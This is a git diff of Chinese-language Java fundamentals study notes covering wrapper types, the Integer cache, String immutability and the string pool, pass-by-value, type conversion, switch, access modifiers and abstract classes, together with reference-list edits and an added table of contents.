-- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
-- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
-- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
-- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
-- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
-- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
----bottom---CyC---
-![](index_files/DP-Decorator-java.io.png)
-![](index_files/ClienteServidorSockets1521731145260.jpg)
-![](index_files/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png)
-![](index_files/4628274c-25b6-4053-97cf-d1239b44c43d.png)
-![](index_files/952e06bd-5a65-4cab-82e4-dd1536462f38.png)
-![](index_files/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png)
-![](index_files/67bf5487-c45d-49b6-b9c0-a058d8c68902.png)
+- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
+- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
+- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
+- [Java NIO 浅析](https://tech.meituan.com/nio.html)
+- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
+- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
+- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
+- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
+- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
+- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index e7052210..22d59c03 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,610 +1,652 @@
-# 一、数据类型
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、数据类型](#一数据类型)
+    * [包装类型](#包装类型)
+    * [缓存池](#缓存池)
+* [二、String](#二string)
+    * [概览](#概览)
+    * [不可变的好处](#不可变的好处)
+    * [String, StringBuffer and StringBuilder](#string,-stringbuffer-and-stringbuilder)
+    * [String Pool](#string-pool)
+    * [new String("abc")](#new-string"abc")
+* [三、运算](#三运算)
+    * [参数传递](#参数传递)
+    * [float 与 double](#float-与-double)
+    * [隐式类型转换](#隐式类型转换)
+    * [switch](#switch)
+* [四、继承](#四继承)
+    * [访问权限](#访问权限)
+    * [抽象类与接口](#抽象类与接口)
+    * [super](#super)
+    * [重写与重载](#重写与重载)
+* [五、Object 通用方法](#五object-通用方法)
+    * [概览](#概览)
+    * [equals()](#equals)
+    * [hashCode()](#hashcode)
+    * [toString()](#tostring)
+    * [clone()](#clone)
+* [六、关键字](#六关键字)
+    * [final](#final)
+    * [static](#static)
+* [七、反射](#七反射)
+* [八、异常](#八异常)
+* [九、泛型](#九泛型)
+* [十、注解](#十注解)
+* [十一、特性](#十一特性)
+    * [Java 各版本的新特性](#java-各版本的新特性)
+    * [Java 与 C++ 的区别](#java-与-c-的区别)
+    * [JRE or JDK](#jre-or-jdk)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 包装类型
+
+# 一、数据类型
+
+## 包装类型
 
 八个基本类型：
 
-- boolean/1
-- byte/8
-- char/16
-- short/16
-- int/32
-- float/32
-- long/64
-- double/64
+- boolean/1
+- byte/8
+- char/16
+- short/16
+- int/32
+- float/32
+- long/64
+- double/64
 
 基本类型都有对应的包装类型，基本类型与其对应的包装类型之间的赋值使用自动装箱与拆箱完成。
 
 ```java
-Integer x = 2;     // 装箱
-int y = x;         // 拆箱
+Integer x = 2;     // 装箱
+int y = x;         // 拆箱
 ```
 
-## 缓存池
+## 缓存池
 
-new Integer(123) 与 Integer.valueOf(123) 的区别在于：
+new Integer(123) 与 Integer.valueOf(123) 的区别在于：
 
-- new Integer(123) 每次都会新建一个对象；
-- Integer.valueOf(123) 会使用缓存池中的对象，多次调用会取得同一个对象的引用。
+- new Integer(123) 每次都会新建一个对象；
+- Integer.valueOf(123) 会使用缓存池中的对象，多次调用会取得同一个对象的引用。
 
 ```java
-Integer x = new Integer(123);
-Integer y = new Integer(123);
-System.out.println(x == y);    // false
-Integer z = Integer.valueOf(123);
-Integer k = Integer.valueOf(123);
-System.out.println(z == k);   // true
+Integer x = new Integer(123);
+Integer y = new Integer(123);
+System.out.println(x == y);    // false
+Integer z = Integer.valueOf(123);
+Integer k = Integer.valueOf(123);
+System.out.println(z == k);   // true
 ```
 
-valueOf() 方法的实现比较简单，就是先判断值是否在缓存池中，如果在的话就直接返回缓存池的内容。
+valueOf() 方法的实现比较简单，就是先判断值是否在缓存池中，如果在的话就直接返回缓存池的内容。
 
 ```java
-public static Integer valueOf(int i) {
-    if (i >= IntegerCache.low && i <= IntegerCache.high)
-        return IntegerCache.cache[i + (-IntegerCache.low)];
-    return new Integer(i);
+public static Integer valueOf(int i) {
+    if (i >= IntegerCache.low && i <= IntegerCache.high)
+        return IntegerCache.cache[i + (-IntegerCache.low)];
+    return new Integer(i);
 }
 ```
 
-在 Java 8 中，Integer 缓存池的大小默认为 -128~127。
+在 Java 8 中，Integer 缓存池的大小默认为 -128\~127。
 
 ```java
-static final int low = -128;
-static final int high;
-static final Integer cache[];
+static final int low = -128;
+static final int high;
+static final Integer cache[];
 
-static {
-    // high value may be configured by property
-    int h = 127;
-    String integerCacheHighPropValue =
-        sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
-    if (integerCacheHighPropValue != null) {
-        try {
-            int i = parseInt(integerCacheHighPropValue);
-            i = Math.max(i, 127);
-            // Maximum array size is Integer.MAX_VALUE
-            h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
-        } catch( NumberFormatException nfe) {
-            // If the property cannot be parsed into an int, ignore it.
-        }
-    }
-    high = h;
+static {
+    // high value may be configured by property
+    int h = 127;
+    String integerCacheHighPropValue =
+        sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
+    if (integerCacheHighPropValue != null) {
+        try {
+            int i = parseInt(integerCacheHighPropValue);
+            i = Math.max(i, 127);
+            // Maximum array size is Integer.MAX_VALUE
+            h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
+        } catch( NumberFormatException nfe) {
+            // If the property cannot be parsed into an int, ignore it.
+        }
+    }
+    high = h;
 
-    cache = new Integer[(high - low) + 1];
-    int j = low;
-    for(int k = 0; k < cache.length; k++)
-        cache[k] = new Integer(j++);
+    cache = new Integer[(high - low) + 1];
+    int j = low;
+    for(int k = 0; k < cache.length; k++)
+        cache[k] = new Integer(j++);
 
-    // range [-128, 127] must be interned (JLS7 5.1.7)
-    assert IntegerCache.high >= 127;
+    // range [-128, 127] must be interned (JLS7 5.1.7)
+    assert IntegerCache.high >= 127;
 }
 ```
 
-编译器会在自动装箱过程调用 valueOf() 方法，因此多个 Integer 实例使用自动装箱来创建并且值相同，那么就会引用相同的对象。
+编译器会在自动装箱过程调用 valueOf() 方法，因此多个 Integer 实例使用自动装箱来创建并且值相同，那么就会引用相同的对象。
 
 ```java
-Integer m = 123;
-Integer n = 123;
-System.out.println(m == n); // true
+Integer m = 123;
+Integer n = 123;
+System.out.println(m == n); // true
 ```
 
 基本类型对应的缓冲池如下：
 
-- boolean values true and false
-- all byte values
-- short values between -128 and 127
-- int values between -128 and 127
-- char in the range \u0000 to \u007F
+- boolean values true and false
+- all byte values
+- short values between -128 and 127
+- int values between -128 and 127
+- char in the range \u0000 to \u007F
 
 在使用这些基本类型对应的包装类型时，就可以直接使用缓冲池中的对象。
 
-[StackOverflow : Differences between new Integer(123), Integer.valueOf(123) and just 123
+[StackOverflow : Differences between new Integer(123), Integer.valueOf(123) and just 123
 ](https://stackoverflow.com/questions/9030817/differences-between-new-integer123-integer-valueof123-and-just-123)
 
-# 二、String
+# 二、String
 
-## 概览
+## 概览
 
-String 被声明为 final，因此它不可被继承。
+String 被声明为 final，因此它不可被继承。
 
-在 Java 8 中，String 内部使用 char 数组存储数据。
+在 Java 8 中，String 内部使用 char 数组存储数据。
 
 ```java
-public final class String
-    implements java.io.Serializable, Comparable<String>, CharSequence {
-    /** The value is used for character storage. */
-    private final char value[];
+public final class String
+    implements java.io.Serializable, Comparable<String>, CharSequence {
+    /** The value is used for character storage. */
+    private final char value[];
 }
 ```
 
-在 Java 9 之后，String 类的实现改用 byte 数组存储字符串，同时使用 `coder` 来标识使用了哪种编码。
+在 Java 9 之后，String 类的实现改用 byte 数组存储字符串，同时使用 `coder` 来标识使用了哪种编码。
 
 ```java
-public final class String
-    implements java.io.Serializable, Comparable<String>, CharSequence {
-    /** The value is used for character storage. */
-    private final byte[] value;
+public final class String
+    implements java.io.Serializable, Comparable<String>, CharSequence {
+    /** The value is used for character storage. */
+    private final byte[] value;
 
-    /** The identifier of the encoding used to encode the bytes in {@code value}. */
-    private final byte coder;
+    /** The identifier of the encoding used to encode the bytes in {@code value}. */
+    private final byte coder;
 }
 ```
 
-value 数组被声明为 final，这意味着 value 数组初始化之后就不能再引用其它数组。并且 String 内部没有改变 value 数组的方法，因此可以保证 String 不可变。
+value 数组被声明为 final，这意味着 value 数组初始化之后就不能再引用其它数组。并且 String 内部没有改变 value 数组的方法，因此可以保证 String 不可变。
 
-## 不可变的好处
+## 不可变的好处
 
-**1. 可以缓存 hash 值**
+**1. 可以缓存 hash 值** 
 
-因为 String 的 hash 值经常被使用，例如 String 用做 HashMap 的 key。不可变的特性可以使得 hash 值也不可变，因此只需要进行一次计算。
+因为 String 的 hash 值经常被使用，例如 String 用做 HashMap 的 key。不可变的特性可以使得 hash 值也不可变，因此只需要进行一次计算。
 
-**2. String Pool 的需要**
+**2. String Pool 的需要** 
 
-如果一个 String 对象已经被创建过了，那么就会从 String Pool 中取得引用。只有 String 是不可变的，才可能使用 String Pool。
+如果一个 String 对象已经被创建过了，那么就会从 String Pool 中取得引用。只有 String 是不可变的，才可能使用 String Pool。
 
-<img src="index_files/f76067a5-7d5f-4135-9549-8199c77d8f1c.jpg" width=""/>
+<div align="center"> <img src="pics/f76067a5-7d5f-4135-9549-8199c77d8f1c.jpg" width=""/> </div><br>
 
-**3. 安全性**
+**3. 安全性** 
 
-String 经常作为参数，String 不可变性可以保证参数不可变。例如在作为网络连接参数的情况下如果 String 是可变的，那么在网络连接过程中，String 被改变，改变 String 对象的那一方以为现在连接的是其它主机，而实际情况却不一定是。
+String 经常作为参数，String 不可变性可以保证参数不可变。例如在作为网络连接参数的情况下如果 String 是可变的，那么在网络连接过程中，String 被改变，改变 String 对象的那一方以为现在连接的是其它主机，而实际情况却不一定是。
 
-**4. 线程安全**
+**4. 线程安全** 
 
-String 不可变性天生具备线程安全，可以在多个线程中安全地使用。
+String 不可变性天生具备线程安全，可以在多个线程中安全地使用。
 
-[Program Creek : Why String is immutable in Java?](https://www.programcreek.com/2013/04/why-string-is-immutable-in-java/)
+[Program Creek : Why String is immutable in Java?](https://www.programcreek.com/2013/04/why-string-is-immutable-in-java/)
 
-## String, StringBuffer and StringBuilder
+## String, StringBuffer and StringBuilder
 
-**1. 可变性**
+**1. 可变性** 
 
-- String 不可变
-- StringBuffer 和 StringBuilder 可变
+- String 不可变
+- StringBuffer 和 StringBuilder 可变
 
-**2. 线程安全**
+**2. 线程安全** 
 
-- String 不可变，因此是线程安全的
-- StringBuilder 不是线程安全的
-- StringBuffer 是线程安全的，内部使用 synchronized 进行同步
+- String 不可变，因此是线程安全的
+- StringBuilder 不是线程安全的
+- StringBuffer 是线程安全的，内部使用 synchronized 进行同步
 
-[StackOverflow : String, StringBuffer, and StringBuilder](https://stackoverflow.com/questions/2971315/string-stringbuffer-and-stringbuilder)
+[StackOverflow : String, StringBuffer, and StringBuilder](https://stackoverflow.com/questions/2971315/string-stringbuffer-and-stringbuilder)
 
-## String Pool
+## String Pool
 
-字符串常量池（String Pool）保存着所有字符串字面量（literal strings），这些字面量在编译时期就确定。不仅如此，还可以使用 String 的 intern() 方法在运行过程中将字符串添加到 String Pool 中。
+字符串常量池（String Pool）保存着所有字符串字面量（literal strings），这些字面量在编译时期就确定。不仅如此，还可以使用 String 的 intern() 方法在运行过程中将字符串添加到 String Pool 中。
 
-当一个字符串调用 intern() 方法时，如果 String Pool 中已经存在一个字符串和该字符串值相等（使用 equals() 方法进行确定），那么就会返回 String Pool 中字符串的引用；否则，就会在 String Pool 中添加一个新的字符串，并返回这个新字符串的引用。
+当一个字符串调用 intern() 方法时，如果 String Pool 中已经存在一个字符串和该字符串值相等（使用 equals() 方法进行确定），那么就会返回 String Pool 中字符串的引用；否则，就会在 String Pool 中添加一个新的字符串，并返回这个新字符串的引用。
 
-下面示例中，s1 和 s2 采用 new String() 的方式新建了两个不同字符串，而 s3 和 s4 是通过 s1.intern() 方法取得一个字符串引用。intern() 首先把 s1 引用的字符串放到 String Pool 中，然后返回这个字符串引用。因此 s3 和 s4 引用的是同一个字符串。
+下面示例中，s1 和 s2 采用 new String() 的方式新建了两个不同字符串，而 s3 和 s4 是通过 s1.intern() 方法取得一个字符串引用。intern() 首先把 s1 引用的字符串放到 String Pool 中，然后返回这个字符串引用。因此 s3 和 s4 引用的是同一个字符串。
 
 ```java
-String s1 = new String("aaa");
-String s2 = new String("aaa");
-System.out.println(s1 == s2);           // false
-String s3 = s1.intern();
-String s4 = s1.intern();
-System.out.println(s3 == s4);           // true
+String s1 = new String("aaa");
+String s2 = new String("aaa");
+System.out.println(s1 == s2);           // false
+String s3 = s1.intern();
+String s4 = s1.intern();
+System.out.println(s3 == s4);           // true
 ```
 
-如果是采用 "bbb" 这种字面量的形式创建字符串，会自动地将字符串放入 String Pool 中。
+如果是采用 "bbb" 这种字面量的形式创建字符串，会自动地将字符串放入 String Pool 中。
 
 ```java
-String s5 = "bbb";
-String s6 = "bbb";
-System.out.println(s5 == s6);  // true
+String s5 = "bbb";
+String s6 = "bbb";
+System.out.println(s5 == s6);  // true
 ```
 
-在 Java 7 之前，String Pool 被放在运行时常量池中，它属于永久代。而在 Java 7，String Pool 被移到堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
+在 Java 7 之前，String Pool 被放在运行时常量池中，它属于永久代。而在 Java 7，String Pool 被移到堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
 
-- [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning)
-- [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
+- [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning)
+- [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
 
-## new String("abc")
+## new String("abc")
 
-使用这种方式一共会创建两个字符串对象（前提是 String Pool 中还没有 "abc" 字符串对象）。
+使用这种方式一共会创建两个字符串对象（前提是 String Pool 中还没有 "abc" 字符串对象）。
 
-- "abc" 属于字符串字面量，因此编译时期会在 String Pool 中创建一个字符串对象，指向这个 "abc" 字符串字面量；
-- 而使用 new 的方式会在堆中创建一个字符串对象。
+- "abc" 属于字符串字面量，因此编译时期会在 String Pool 中创建一个字符串对象，指向这个 "abc" 字符串字面量；
+- 而使用 new 的方式会在堆中创建一个字符串对象。
 
-创建一个测试类，其 main 方法中使用这种方式来创建字符串对象。
+创建一个测试类，其 main 方法中使用这种方式来创建字符串对象。
 
 ```java
-public class NewStringTest {
-    public static void main(String[] args) {
-        String s = new String("abc");
-    }
+public class NewStringTest {
+    public static void main(String[] args) {
+        String s = new String("abc");
+    }
 }
 ```
 
-使用 javap -verbose 进行反编译，得到以下内容：
+使用 javap -verbose 进行反编译，得到以下内容：
 
 ```java
-// ...
-Constant pool:
-// ...
-   #2 = Class              #18            // java/lang/String
-   #3 = String             #19            // abc
-// ...
-  #18 = Utf8               java/lang/String
-  #19 = Utf8               abc
-// ...
+// ...
+Constant pool:
+// ...
+   #2 = Class              #18            // java/lang/String
+   #3 = String             #19            // abc
+// ...
+  #18 = Utf8               java/lang/String
+  #19 = Utf8               abc
+// ...
 
-  public static void main(java.lang.String[]);
-    descriptor: ([Ljava/lang/String;)V
-    flags: ACC_PUBLIC, ACC_STATIC
-    Code:
-      stack=3, locals=2, args_size=1
-         0: new           #2                  // class java/lang/String
-         3: dup
-         4: ldc           #3                  // String abc
-         6: invokespecial #4                  // Method java/lang/String."<init>":(Ljava/lang/String;)V
-         9: astore_1
-// ...
+  public static void main(java.lang.String[]);
+    descriptor: ([Ljava/lang/String;)V
+    flags: ACC_PUBLIC, ACC_STATIC
+    Code:
+      stack=3, locals=2, args_size=1
+         0: new           #2                  // class java/lang/String
+         3: dup
+         4: ldc           #3                  // String abc
+         6: invokespecial #4                  // Method java/lang/String."<init>":(Ljava/lang/String;)V
+         9: astore_1
+// ...
 ```
 
-在 Constant Pool 中，#19 存储这字符串字面量 "abc"，#3 是 String Pool 的字符串对象，它指向 #19 这个字符串字面量。在 main 方法中，0: 行使用 new #2 在堆中创建一个字符串对象，并且使用 ldc #3 将 String Pool 中的字符串对象作为 String 构造函数的参数。
+在 Constant Pool 中，#19 存储这字符串字面量 "abc"，#3 是 String Pool 的字符串对象，它指向 #19 这个字符串字面量。在 main 方法中，0: 行使用 new #2 在堆中创建一个字符串对象，并且使用 ldc #3 将 String Pool 中的字符串对象作为 String 构造函数的参数。
 
-以下是 String 构造函数的源码，可以看到，在将一个字符串对象作为另一个字符串对象的构造函数参数时，并不会完全复制 value 数组内容，而是都会指向同一个 value 数组。
+以下是 String 构造函数的源码，可以看到，在将一个字符串对象作为另一个字符串对象的构造函数参数时，并不会完全复制 value 数组内容，而是都会指向同一个 value 数组。
 
 ```java
-public String(String original) {
-    this.value = original.value;
-    this.hash = original.hash;
+public String(String original) {
+    this.value = original.value;
+    this.hash = original.hash;
 }
 ```
 
-# 三、运算
+# 三、运算
 
-## 参数传递
+## 参数传递
 
-Java 的参数是以值传递的形式传入方法中，而不是引用传递。
+Java 的参数是以值传递的形式传入方法中，而不是引用传递。
 
-以下代码中 Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。因此在方法中使指针引用其它对象，那么这两个指针此时指向的是完全不同的对象，在一方改变其所指向对象的内容时对另一方没有影响。
+以下代码中 Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。因此在方法中使指针引用其它对象，那么这两个指针此时指向的是完全不同的对象，在一方改变其所指向对象的内容时对另一方没有影响。
 
 ```java
-public class Dog {
+public class Dog {
 
-    String name;
+    String name;
 
-    Dog(String name) {
-        this.name = name;
-    }
+    Dog(String name) {
+        this.name = name;
+    }
 
-    String getName() {
-        return this.name;
-    }
+    String getName() {
+        return this.name;
+    }
 
-    void setName(String name) {
-        this.name = name;
-    }
+    void setName(String name) {
+        this.name = name;
+    }
 
-    String getObjectAddress() {
-        return super.toString();
-    }
+    String getObjectAddress() {
+        return super.toString();
+    }
 }
 ```
 
 ```java
-public class PassByValueExample {
-    public static void main(String[] args) {
-        Dog dog = new Dog("A");
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        func(dog);
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        System.out.println(dog.getName());          // A
-    }
+public class PassByValueExample {
+    public static void main(String[] args) {
+        Dog dog = new Dog("A");
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        func(dog);
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        System.out.println(dog.getName());          // A
+    }
 
-    private static void func(Dog dog) {
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        dog = new Dog("B");
-        System.out.println(dog.getObjectAddress()); // Dog@74a14482
-        System.out.println(dog.getName());          // B
-    }
+    private static void func(Dog dog) {
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        dog = new Dog("B");
+        System.out.println(dog.getObjectAddress()); // Dog@74a14482
+        System.out.println(dog.getName());          // B
+    }
 }
 ```
 
 如果在方法中改变对象的字段值会改变原对象该字段值，因为改变的是同一个地址指向的内容。
 
 ```java
-class PassByValueExample {
-    public static void main(String[] args) {
-        Dog dog = new Dog("A");
-        func(dog);
-        System.out.println(dog.getName());          // B
-    }
+class PassByValueExample {
+    public static void main(String[] args) {
+        Dog dog = new Dog("A");
+        func(dog);
+        System.out.println(dog.getName());          // B
+    }
 
-    private static void func(Dog dog) {
-        dog.setName("B");
-    }
+    private static void func(Dog dog) {
+        dog.setName("B");
+    }
 }
 ```
 
-[StackOverflow: Is Java “pass-by-reference” or “pass-by-value”?](https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value)
+[StackOverflow: Is Java “pass-by-reference” or “pass-by-value”?](https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value)
 
-## float 与 double
+## float 与 double
 
-Java 不能隐式执行向下转型，因为这会使得精度降低。
+Java 不能隐式执行向下转型，因为这会使得精度降低。
 
-1.1 字面量属于 double 类型，不能直接将 1.1 直接赋值给 float 变量，因为这是向下转型。
+1.1 字面量属于 double 类型，不能直接将 1.1 直接赋值给 float 变量，因为这是向下转型。
 
 ```java
-// float f = 1.1;
+// float f = 1.1;
 ```
 
-1.1f 字面量才是 float 类型。
+1.1f 字面量才是 float 类型。
 
 ```java
-float f = 1.1f;
+float f = 1.1f;
 ```
 
-## 隐式类型转换
+## 隐式类型转换
 
-因为字面量 1 是 int 类型，它比 short 类型精度要高，因此不能隐式地将 int 类型下转型为 short 类型。
+因为字面量 1 是 int 类型，它比 short 类型精度要高，因此不能隐式地将 int 类型下转型为 short 类型。
 
 ```java
-short s1 = 1;
-// s1 = s1 + 1;
+short s1 = 1;
+// s1 = s1 + 1;
 ```
 
-但是使用 += 或者 ++ 运算符可以执行隐式类型转换。
+但是使用 += 或者 ++ 运算符可以执行隐式类型转换。
 
 ```java
-s1 += 1;
-// s1++;
+s1 += 1;
+// s1++;
 ```
 
-上面的语句相当于将 s1 + 1 的计算结果进行了向下转型：
+上面的语句相当于将 s1 + 1 的计算结果进行了向下转型：
 
 ```java
-s1 = (short) (s1 + 1);
+s1 = (short) (s1 + 1);
 ```
 
-[StackOverflow : Why don't Java's +=, -=, *=, /= compound assignment operators require casting?](https://stackoverflow.com/questions/8710619/why-dont-javas-compound-assignment-operators-require-casting)
+[StackOverflow : Why don't Java's +=, -=, *=, /= compound assignment operators require casting?](https://stackoverflow.com/questions/8710619/why-dont-javas-compound-assignment-operators-require-casting)
 
-## switch
+## switch
 
-从 Java 7 开始，可以在 switch 条件判断语句中使用 String 对象。
+从 Java 7 开始，可以在 switch 条件判断语句中使用 String 对象。
 
 ```java
-String s = "a";
-switch (s) {
-    case "a":
-        System.out.println("aaa");
-        break;
-    case "b":
-        System.out.println("bbb");
-        break;
+String s = "a";
+switch (s) {
+    case "a":
+        System.out.println("aaa");
+        break;
+    case "b":
+        System.out.println("bbb");
+        break;
 }
 ```
 
-switch 不支持 long，是因为 switch 的设计初衷是对那些只有少数的几个值进行等值判断，如果值过于复杂，那么还是用 if 比较合适。
+switch 不支持 long，是因为 switch 的设计初衷是对那些只有少数的几个值进行等值判断，如果值过于复杂，那么还是用 if 比较合适。
 
 ```java
-// long x = 111;
-// switch (x) { // Incompatible types. Found: 'long', required: 'char, byte, short, int, Character, Byte, Short, Integer, String, or an enum'
-//     case 111:
-//         System.out.println(111);
-//         break;
-//     case 222:
-//         System.out.println(222);
-//         break;
-// }
+// long x = 111;
+// switch (x) { // Incompatible types. Found: 'long', required: 'char, byte, short, int, Character, Byte, Short, Integer, String, or an enum'
+//     case 111:
+//         System.out.println(111);
+//         break;
+//     case 222:
+//         System.out.println(222);
+//         break;
+// }
 ```
 
-[StackOverflow : Why can't your switch statement data type be long, Java?](https://stackoverflow.com/questions/2676210/why-cant-your-switch-statement-data-type-be-long-java)
+[StackOverflow : Why can't your switch statement data type be long, Java?](https://stackoverflow.com/questions/2676210/why-cant-your-switch-statement-data-type-be-long-java)
 
-# 四、继承
+# 四、继承
 
-## 访问权限
+## 访问权限
 
-Java 中有三个访问权限修饰符：private、protected 以及 public，如果不加访问修饰符，表示包级可见。
+Java 中有三个访问权限修饰符：private、protected 以及 public，如果不加访问修饰符，表示包级可见。
 
 可以对类或类中的成员（字段以及方法）加上访问修饰符。
 
-- 类可见表示其它类可以用这个类创建实例对象。
-- 成员可见表示其它类可以用这个类的实例对象访问到该成员；
+- 类可见表示其它类可以用这个类创建实例对象。
+- 成员可见表示其它类可以用这个类的实例对象访问到该成员；
 
-protected 用于修饰成员，表示在继承体系中成员对于子类可见，但是这个访问修饰符对于类没有意义。
+protected 用于修饰成员，表示在继承体系中成员对于子类可见，但是这个访问修饰符对于类没有意义。
 
-设计良好的模块会隐藏所有的实现细节，把它的 API 与它的实现清晰地隔离开来。模块之间只通过它们的 API 进行通信，一个模块不需要知道其他模块的内部工作情况，这个概念被称为信息隐藏或封装。因此访问权限应当尽可能地使每个类或者成员不被外界访问。
+设计良好的模块会隐藏所有的实现细节，把它的 API 与它的实现清晰地隔离开来。模块之间只通过它们的 API 进行通信，一个模块不需要知道其他模块的内部工作情况，这个概念被称为信息隐藏或封装。因此访问权限应当尽可能地使每个类或者成员不被外界访问。
 
 如果子类的方法重写了父类的方法，那么子类中该方法的访问级别不允许低于父类的访问级别。这是为了确保可以使用父类实例的地方都可以使用子类实例，也就是确保满足里氏替换原则。
 
-字段决不能是公有的，因为这么做的话就失去了对这个字段修改行为的控制，客户端可以对其随意修改。例如下面的例子中，AccessExample 拥有 id 公有字段，如果在某个时刻，我们想要使用 int 存储 id 字段，那么就需要修改所有的客户端代码。
+字段决不能是公有的，因为这么做的话就失去了对这个字段修改行为的控制，客户端可以对其随意修改。例如下面的例子中，AccessExample 拥有 id 公有字段，如果在某个时刻，我们想要使用 int 存储 id 字段，那么就需要修改所有的客户端代码。
 
 ```java
-public class AccessExample {
-    public String id;
+public class AccessExample {
+    public String id;
 }
 ```
 
-可以使用公有的 getter 和 setter 方法来替换公有字段，这样的话就可以控制对字段的修改行为。
+可以使用公有的 getter 和 setter 方法来替换公有字段，这样的话就可以控制对字段的修改行为。
 
 
 ```java
-public class AccessExample {
+public class AccessExample {
 
-    private int id;
+    private int id;
 
-    public String getId() {
-        return id + "";
-    }
+    public String getId() {
+        return id + "";
+    }
 
-    public void setId(String id) {
-        this.id = Integer.valueOf(id);
-    }
+    public void setId(String id) {
+        this.id = Integer.valueOf(id);
+    }
 }
 ```
 
 但是也有例外，如果是包级私有的类或者私有的嵌套类，那么直接暴露成员不会有特别大的影响。
 
 ```java
-public class AccessWithInnerClassExample {
+public class AccessWithInnerClassExample {
 
-    private class InnerClass {
-        int x;
-    }
+    private class InnerClass {
+        int x;
+    }
 
-    private InnerClass innerClass;
+    private InnerClass innerClass;
 
-    public AccessWithInnerClassExample() {
-        innerClass = new InnerClass();
-    }
+    public AccessWithInnerClassExample() {
+        innerClass = new InnerClass();
+    }
 
-    public int getValue() {
-        return innerClass.x;  // 直接访问
-    }
+    public int getValue() {
+        return innerClass.x;  // 直接访问
+    }
 }
 ```
 
-## 抽象类与接口
+## 抽象类与接口
 
-**1. 抽象类**
+**1. 抽象类** 
 
-抽象类和抽象方法都使用 abstract 关键字进行声明。抽象类一般会包含抽象方法，抽象方法一定位于抽象类中。
+抽象类和抽象方法都使用 abstract 关键字进行声明。抽象类一般会包含抽象方法，抽象方法一定位于抽象类中。
 
 抽象类和普通类最大的区别是，抽象类不能被实例化，需要继承抽象类才能实例化其子类。
 
 ```java
-public abstract class AbstractClassExample {
+public abstract class AbstractClassExample {
 
-    protected int x;
-    private int y;
+    protected int x;
+    private int y;
 
-    public abstract void func1();
+    public abstract void func1();
 
-    public void func2() {
-        System.out.println("func2");
-    }
+    public void func2() {
+        System.out.println("func2");
+    }
 }
 ```
 
 ```java
-public class AbstractExtendClassExample extends AbstractClassExample {
-    @Override
-    public void func1() {
-        System.out.println("func1");
-    }
+public class AbstractExtendClassExample extends AbstractClassExample {
+    @Override
+    public void func1() {
+        System.out.println("func1");
+    }
 }
 ```
 
 ```java
-// AbstractClassExample ac1 = new AbstractClassExample(); // 'AbstractClassExample' is abstract; cannot be instantiated
-AbstractClassExample ac2 = new AbstractExtendClassExample();
+// AbstractClassExample ac1 = new AbstractClassExample(); // 'AbstractClassExample' is abstract; cannot be instantiated
+AbstractClassExample ac2 = new AbstractExtendClassExample();
 ac2.func1();
 ```
 
-**2. 接口**
+**2. 接口** 
 
-接口是抽象类的延伸，在 Java 8 之前，它可以看成是一个完全抽象的类，也就是说它不能有任何的方法实现。
+接口是抽象类的延伸，在 Java 8 之前，它可以看成是一个完全抽象的类，也就是说它不能有任何的方法实现。
 
-从 Java 8 开始，接口也可以拥有默认的方法实现，这是因为不支持默认方法的接口的维护成本太高了。在 Java 8 之前，如果一个接口想要添加新的方法，那么要修改所有实现了该接口的类。
+从 Java 8 开始，接口也可以拥有默认的方法实现，这是因为不支持默认方法的接口的维护成本太高了。在 Java 8 之前，如果一个接口想要添加新的方法，那么要修改所有实现了该接口的类。
 
-接口的成员（字段 + 方法）默认都是 public 的，并且不允许定义为 private 或者 protected。
